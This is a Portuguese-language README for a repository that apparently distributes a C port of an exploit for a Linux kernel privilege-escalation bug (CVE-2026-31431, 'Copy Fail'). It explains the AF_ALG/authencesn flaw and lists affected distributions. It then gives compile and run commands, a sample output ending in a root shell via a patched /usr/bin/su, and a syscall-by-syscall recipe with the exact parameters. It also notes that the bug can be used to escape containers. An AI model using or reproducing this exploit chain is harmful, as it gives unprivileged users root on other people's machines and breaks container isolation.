copyfail

Visão Geral

Copy Fail (CVE-2026-31431) — é uma vulnerabilidade lógica no kernel Linux que permite a um usuário local sem privilégios elevar seus privilégios ao nível de superusuário (root). A vulnerabilidade pertence à classe Local Privilege Escalation (LPE), não requer condições complexas de exploração (como race condition ou adivinhação de endereços de memória) e funciona "pronta para uso" na maioria das distribuições Linux lançadas após 2017.

Este repositório contém um port do exploit original em Python para a linguagem C com comentários detalhados, adequado para compilação estática e uso em ambientes mínimos.

---

Conteúdo

• Vulnerabilidade
  • Essência da vulnerabilidade
  • Mecanismo de exploração
  • Sistemas afetados
• Exploit
  • Características do port em C
  • Compilação
  • Uso
• Como funciona
  • Análise passo a passo
  • Por que o cache de páginas é alterado
• Mitigação da vulnerabilidade

---

Vulnerabilidade

Essência da vulnerabilidade

A vulnerabilidade surge de um erro lógico na subsistema criptográfico do kernel Linux, relacionado ao processamento de AF_ALG (interface da API criptográfica do kernel) e ao mecanismo de cache de páginas (page cache).

O erro foi introduzido em 2017 ao adicionar uma otimização que removeu o buffer extra ao executar operações de criptografia de bloco AEAD (Authenticated Encryption with Associated Data) in-place. Devido ao processamento incorreto dos limites dos buffers no algoritmo authencesn (parte do template criptográfico AEAD), ocorre uma escrita de 4 bytes além do buffer alocado, resultando em danos às estruturas de gerenciamento do cache de páginas.

Como resultado, o kernel pode gravar dados de volta no cache de páginas de um arquivo, mesmo que ele tenha sido aberto somente para leitura (O_RDONLY).

Mecanismo de exploração

1. Um usuário sem privilégios abre um socket AF_ALG e inicializa o algoritmo AEAD authencesn(hmac(sha256),cbc(aes)).
2. Através de setsockopt(), parâmetros anômalos são definidos:
   • Chave de formato especial (manipulação dos buffers do kernel).
   • Tamanho do tag de autenticação = 4 bytes (em vez dos normais 16–32 bytes para HMAC-SHA256).
3. Através de sendmsg() com control messages, uma operação de descriptografia é iniciada.
4. A chamada de sistema splice() move dados do arquivo alvo (aberto com O_RDONLY) para o socket criptográfico.
5. Devido ao erro em authencesn, o cache de páginas do arquivo é corrompido, e os dados "descriptografados" são gravados de volta no cache.
6. O kernel executa o arquivo setuid modificado a partir do cache de páginas, resultando na execução de código com privilégios de root.

Sistemas afetados

Componente	Descrição
Kernel Linux	Todas as versões de 2017 até a inclusão do patch corretivo
Subsistema	crypto (módulo algif_aead)
Interface	AF_ALG — acesso do usuário à API criptográfica do kernel
Chamada de sistema	splice() em conjunto com sockets AF_ALG

Distribuições vulneráveis (ao usar kernels com o módulo algif_aead carregado):

• Ubuntu (todas as versões)
• Debian (todas as versões)
• RHEL / CentOS / Rocky / Alma Linux
• SUSE / openSUSE
• Fedora
• Arch Linux
• Outras distribuições baseadas em kernels vulneráveis

Importância especial: em ambientes de contêineres (Docker, LXC, Kubernetes), os processos dentro do contêiner têm acesso à subsistema AF_ALG por padrão, se o módulo algif_aead estiver carregado no kernel do host. Isso cria o risco de quebra do isolamento do contêiner e obtenção de controle sobre a máquina host.

Verificação da vulnerabilidade:

# Verificar se o módulo algif_aead está carregado
lsmod | grep algif

# Verificar a presença de AF_ALG no kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

---

Exploit

Características do port em C

O exploit original foi escrito em Python (≈732 bytes). Este port em C possui as seguintes características:

• Compilação estática — funciona em ambientes mínimos sem Python.
• Total autonomia — requer apenas a biblioteca padrão C e libz.
• Comentários detalhados em português — cada etapa da exploração está documentada.
• Comportamento idêntico — as chamadas de sistema correspondem exatamente à versão em Python (verificado via strace).
• recv() não bloqueante — evita travamentos, repetindo o comportamento de try/except do Python.

Principais diferenças em relação à versão Python, identificadas durante o port:

Parâmetro	Python	C (este port)
Flag sendmsg()	MSG_MORE	MSG_MORE
Flag splice()	0	0
Offset no pipe	NULL	NULL
Tamanho da chave	40 bytes	40 bytes
cmsg_len	20/36/20	20/36/20 (fixo)
Criação do pipe	pipe2(fds, O_CLOEXEC)	pipe2(fds, O_CLOEXEC)
recv()	Bloqueante com try/except	Não bloqueante (O_NONBLOCK)

Compilação

# Requer libz (zlib1g-dev ou zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2

Uso

./copyfail

Em caso de exploração bem-sucedida, uma versão com patch de /usr/bin/su será executada, fornecendo acesso root sem solicitar senha.

Saída esperada:

================================================================
  CVE-2026-31431 'Copy Fail' Exploit
================================================================

[+] /usr/bin/su aberto
[+] 40 chunks
[*] 40/40 ok

# id
uid=0(root) gid=0(root) groups=0(root)

---

Como funciona

Análise passo a passo

Abaixo está uma análise detalhada de cada etapa do exploit com as chamadas de sistema correspondentes:

Etapa 1: Criação do socket AF_ALG

socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead", 
     salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);

Um socket é criado para acesso à API criptográfica do kernel. O algoritmo authencesn (Authenticated Encryption with Sequence Numbers) é um algoritmo AEAD composto que usa AES-CBC para criptografia e HMAC-SHA256 para autenticação.

Etapa 2: Definição dos parâmetros vulneráveis

setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

• Chave: 40 bytes de formato especial, manipulando os buffers internos do kernel.
• Tamanho do tag de autenticação: 4 bytes. O valor normal para HMAC-SHA256 é de 16–32 bytes. Um valor anormalmente pequeno leva a um estouro de buffer no kernel.

Etapa 3: Inicialização da operação de descriptografia

accept(sock, NULL, NULL);  // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data, 
        cmsg=[(SOL_ALG, 3, 4 zeros),        // ALG_SET_OP = DECRYPT
              (SOL_ALG, 2, 0x10+19 zeros),  // ALG_SET_IV
              (SOL_ALG, 4, 0x08+3 zeros)]},  // ALG_SET_AEAD_ASSOCLEN
        MSG_MORE);

Uma conexão é criada para a operação. Através de sendmsg() com control messages (CMSG), os parâmetros são definidos:

• Operação: descriptografia (ALG_OP_DECRYPT = 0).
• IV: 20 bytes (em vez dos normais 16 para AES).
• Dados associados: 8 bytes (sem transferência real de dados).

Todas essas anomalias criam inconsistências no gerenciamento de memória do kernel.

Etapa 4: Transferência de dados via splice()

pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);